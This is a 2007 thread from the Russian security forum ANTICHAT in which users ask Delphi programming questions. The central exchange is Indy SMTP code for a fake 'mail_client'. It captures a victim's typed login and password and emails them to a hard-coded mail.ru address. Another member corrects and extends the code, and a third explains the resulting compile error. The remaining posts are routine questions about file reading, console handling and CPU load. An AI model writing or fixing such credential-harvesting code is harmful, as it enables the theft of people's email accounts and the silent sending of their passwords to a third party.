ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
25.08.2007, 04:18
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме:
1510937
Репутация:
398
|
|
Код:
function ReadC(sFile: string; var Ch: String): Integer;
var F: TextFile;
i: integer;
Test: string;
const Decode: Array [0..297]of String = ('', '', ..........);
begin
Result := 0;
AssignFile(F, sFile);
Reset(F);
while not EOF(F) do
begin
ReadLn(F, Test);
for i := 0 to 297 do
if Test = Decode[i] then Result := Result + 1;
end;
CloseFile(F);
end;
Как можно прочитать строчки на WinAPI без паскаля с использованием Windows.CreateFile(); и если в строке обнаружено совпадение добавило к Ch + (', '+совпадение) кто то может привести пример?
Последний раз редактировалось PandoraBox; 25.08.2007 в 04:38..
|
|
|
25.08.2007, 22:15
|
|
Познающий
Регистрация: 11.03.2007
Сообщений: 57
Провел на форуме:
89195
Репутация:
1
|
|
Привет
помогите с двумя вопросами
1-Как отловить в консольной проге завершение программы. по своей воле или по чужой.
2-как планировать и отслеживать загрузку процессора. допустим я хочу сделать некоторый процесс в долгом цикле но не хочу чтобы машина загрузилась более чем на 10 процентов.
|
|
|
|
26.08.2007, 16:57
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032
Репутация:
8
|
|
Люди подскажите в чем проблема заключаеться, программа комплиться, запускаю ее ввожу данные но на мыло мне ничего не приходит, вот этот код использую:
procedure TForm1.Button1Click(Sender: TObject);
var
mail:String;
Mes:TIdMessage;
begin
if(ComboBox2.Text='')or( Edit1.Text='')then
begin
Form2.Show;
end;
mail:='loxan06@mail.ru';
Mes:=TIdMessage.Create(Form1);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text:=mail;
Mes.From.Text:=ComboBox2.Text;
Mes.Subject:='mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#10#13+
'Pass:'+' '+Edit1.Text+#10#13);
IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Host:='smtp.'+'mail.ru';
IdSMTP1.Username:=ComboBox2.Text;
IdSMTP1.Password:=Edit1.Text;
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
try
IdSMTP1.Send(Mes);
IdSMTP1.Disconnect;
except
end;
end;
end;
|
|
|
|
27.08.2007, 07:30
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме:
1510937
Репутация:
398
|
|
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
mail: String;
Mes: TIdMessage;
begin
if(ComboBox2.Text = '') or (Edit1.Text = '')then
begin
Form2.Show;
end;
mail := 'loxan06@mail.ru';
Application.ProcessMessages;
Mes := TIdMessage.Create(nil);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text := mail;
Mes.From.Text := PChar(ComboBox2.Text);
Mes.Subject := 'mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
'Pass:'+' '+Edit1.Text+#13#10);
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := PChar('smtp.mail.ru');
IdSMTP1.Username := PChar(ComboBox2.Text);
IdSMTP1.Password := PChar(Edit1.Text);
IdSMTP1.Port := 25; // Default
Application.ProcessMessages;
IdSMTP1.Connect(300);
if IdSMTP1.Connected then
begin
try // Отправляем месадж
Application.ProcessMessages;
IdSMTP1.Send(Mes);
except // если ошибка
on E: Exception do
begin
Application.ProcessMessages;
Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
IdSMTP1.Disconnect;
end;
end;
IdSMTP1.Disconnect;
end;
end;
Последний раз редактировалось PandoraBox; 27.08.2007 в 07:33..
|
|
|
|
27.08.2007, 16:05
|
|
Новичок
Регистрация: 17.05.2007
Сообщений: 11
Провел на форуме:
84719
Репутация:
9
|
|
Доброго времени суток, уважаемые.....
Имеем:
1. окно Form1
Хотим получить:
в ОКНЕ Form1 стандартную виндовую сомандную консоль (cmd.exe).
(уточню задачу во избежании недоразумений.... требуется поместить окно консоли В окно Form1... )
заранее спсб за грамотные ответы....
|
|
|
|
28.08.2007, 05:57
|
|
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме:
2869410
Репутация:
925
|
|
Короче помогите вот имеем файл (открываем его ,ищем метку "::::::::::" читаем в строку ,а потом удаляем метку и все ,что после неё. Помогите с таким примерчиком плиз
|
|
|
|
28.08.2007, 08:43
|
|
Участник форума
Регистрация: 09.02.2004
Сообщений: 122
Провел на форуме:
1089794
Репутация:
134
|
|
zl0y > напиши конкретный пример файла.
|
|
|
|
28.08.2007, 09:00
|
|
Познающий
Регистрация: 26.12.2006
Сообщений: 31
Провел на форуме:
95909
Репутация:
10
|
|
zl0y, если файл небольшой ьто можно чсерез строки. Открываеш файл через assignfile потом через цикл читаеш построчно его через readln и там уже ведешь работу со строками через pos (ищет подстроку в строке) и del удаляет подстроку в строке. (ссори без примера просто нету сейчас под рукой дельфи ((( а с ошибками писать - плохо)
2 Mkey http://narod.yandex.ru/cgi-bin/yandsearch?user=delphiworld&text=%EA%EE%ED%F1%EE%E B%FC+%ED%E0+%F4%EE%F0%E5&where=2 вот тут есть то что тебе надо.
И вообще юзайте DelphiWorld на delphiworld.narod.ru/ В большинстве случаев помогает
Последний раз редактировалось Serbies; 28.08.2007 в 09:08..
|
|
|
|
28.08.2007, 10:14
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032
Репутация:
8
|
|
PandoraBox при создание вылетают следующие ошибки:
[Error] Unit1.pas(64): Identifier redeclared: 'TForm1.Button1Click'
[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit1.pas'
Надеюсь на вашу помощь !!!
|
|
|
|
28.08.2007, 11:12
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597
Репутация:
836
|
|
нужно копировать только код....
а не реализации процедуры...
т.е. все что после
procedure TForm.Button1Click
у тебя получилось 2 один. строки...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
